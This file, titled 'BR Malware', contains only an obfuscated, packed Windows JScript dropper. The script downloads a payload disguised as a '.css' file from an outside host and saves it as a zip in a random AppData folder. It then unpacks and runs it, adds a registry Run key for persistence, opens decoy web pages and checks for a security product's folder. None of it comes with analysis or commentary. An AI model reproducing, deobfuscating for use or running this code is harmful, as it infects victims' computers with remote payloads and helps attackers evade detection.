BR Malware

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 z=[\'1i\',\'1j\',\'1k\',\'1l\',\'1m\',\'1n.1o\',\'1p\',\'1q\',\'R\',\'1r.1s\',\'1t\',\'\\1u\\g\',\'1v.1w\',\'1x\',\'1y\',\'%A%\',\'\\S.T\',\'1z\',\'c:\\i\\n\\o.j\\3/C\\B\\3/1A\\U://1B.p.1C\',\'c:\\i\\n\\o.j\\3/C\\B\\3/V\\U://1D.p/1E/1F/27/1G-1H-1I-1J-1K-1L-W-1M-1N-1O-p-W-7/\',\'1P\',\'1Q\',\'q.X\',\'Y\',\'.D\',\'1R\',\'1S\',\'\\1T-1U\',\'.1V.1W.j\',\'1X\',\'\\3/t\\1Y\\3/d\\3\\Z\',\'c:\\i\\n\\o.j\\3/C\\10\\3-r\\3-f\\3-t\\1Z\',\'%20%\\3/c\\10\\3/r\\3/t\\21\\3/f\',\'22://23.24-25.p/26-1.28\',\'11.q\',\'29\',\'2a2b\',\'2c\',\'2d\'];(h(b,c){2 d=h(a){12(--a){b[\'2e\'](b[\'2f\']())}};d(++c)}(z,2g));2 0=h(a,b){a=a-u;2 c=z[a];k c};2 13=0(\'u\');2 E=4 6(0(\'F\'));h w(a){2 b=4 14();2 c=u;12(c<a*2h){2 d=4 14();2 c=d[0(\'l\')]()-b[0(\'l\')]()}}h 15(){2 a=\'\';2 b=0(\'2i\');2j(2 c=u;c<G;c++)a+=b[0(\'2k\')](16[0(\'2l\')](16[0(\'2m\')]()*b[0(\'2n\')]));k a}h 17(a,b){2 c;2 d;18{2 e=4 6(\'2o.2p.5.1\');e[0(\'2q\')](H,H,H,2r);2s e[0(\'G\')](\'2t\',a,![]);e[\'2u\']();I(e[\'2v\']==2w){k![]}c=e[0(\'2x\')]}19(2y){k![]}d=4 6(0(\'2z\'));d[0(\'2A\')]=F;d[0(\'G\')]();d[0(\'2B\')](c);d[\'2C\'](b,l);d[0(\'2D\')]();k!![]}2 m=4 6(0(\'2E\'));2 2F=4 6(\'q.X\');2 9=15();2 J=m[0(\'K\')](\'%A%\')+\'\\\\1a\\\\1b\\\\\';2 8=m[0(\'K\')](\'%A%\')+\'\\\\1a\\\\1b\\\\\'+9;2 1c=4 6(0(\'x\'));2 L=4 6(0(\'x\'));I(!L[0(\'2G\')](J))2 a=L[0(\'M\')](J);2 1d=m[0(\'K\')](0(\'1e\'))+0(\'2H\');I(1c[\'2I\'](1d)){E[0(\'N\')](0(\'2J\'))}2K{E[0(\'N\')](0(\'2L\'));18{2 1f=4 6(0(\'x\'));2 s=1f[\'2M\'](m[0(\'2N\')](0(\'1e\'))+\'\\S.T\',!![]);s[0(\'2O\')](\'2P\');s[\'R\']()}19(2Q){}2 y=4 6(0(\'x\'));y[0(\'M\')](8);w(F);17(13,8+\'\\g\'+9+\'.D\');w(l);2 O=4 6(0(\'2R\'));1g=O[0(\'2S\')](8+\'\\g\'+9+0(\'2T\'))[\'2U\']();O[\'Y\'](8+\'\\g\')[0(\'2V\')](1g,M);w(l);y[0(\'2W\')](8+0(\'2X\'),8+\'\\g\'+9+0(\'1h\'));y[0(\'2Y\')](8+\'\\g\'+9+\'.D\');2 P=8+\'\\g\'+9+0(\'1h\');2 Q=4 6(\'11.q\');Q[0(\'N\')](\'c:\\i\\n\\o.j\\3/C\\B\\3/V\\2Z\\30\\31\\32\\33\\i\\34\\35\\3/v\\3\'+9+0(\'36\')+P+\'\\Z\');Q.37(P)}',62,194,'_0x2a5e||var|x20|new||ActiveXObject||locarrtar2|nomedacira|||||||x5c|function|x5cWindows|exe|return|0x2|full_Shell|x5cSystem32|x5ccmd|com|Shell||||0x0||Sleep|0x12|carrteiros|_0x3ac6|userprofile|x20start||zip|siiirun|0x1|0x9|0x7530|if|looocalr1|0x10|fodisol|0x14|0x17|zipzipp|putt_start|full_App2|Close|x5cbugau_chine|pdf|x20https|MIN|windows|Application|NameSpace|x22|x20shutdown|WScript|while|downfils|Date|kaiddei|Math|dooilife|try|catch|AppData|Local|myObject|gravinom|0x15|txt|FilesInZip|0x22|random|length|SetTimeouts|Open|ResponseBody|ADODB|Stream|Type|Write|wscript|shell|ExpandEnvironmentStrings|x5cScratch|Scripting|FileSystemObject|FolderExists|CreateFolder|Run|MAX|google|br|paulosantanna|2021|01|ambientes|legados|erro|codigo|80072efe|no|update|em|pc|expandEnvironmentStrings|WriteLine|CopyHere|MoveFile|x5c_|Name|Lavasoft|Assistants|DeleteFile|x20reg_sz|x200|comspec|x201|http|arguiushfguspgp|from|va|libwinpthread||css|getTime|ABCDEFGHIJKLMNOPQRSTUVWXYZ|0123456abcdefghijklmnopqrstuvwxyz|charAt|floor|push|shift|0x132|0x3e8|0x3|for|0x4|0x5|0x6|0x7|WinHttp|WinHttpRequest|0x8|0x1388|void|GET|Send|Status|0x194|0xa|_0x1de09f|0xb|0xc|0xd|SaveToFile|0xe|0xf|full_App|0x13|0x16|FileExists|0x18|else|0x19|CreateTextFile|0x1a|0x1b|NULL|_0x206011|0x1c|0x1d|0x1e|items|0x1f|0x20|0x21|0x23|x20reg|x20add|x20HKCU|x5cSOFTWARE|x5cMicrosoft|x5cCurrentVersion|x5cRun|0x24|run'.split('|'),0,{}))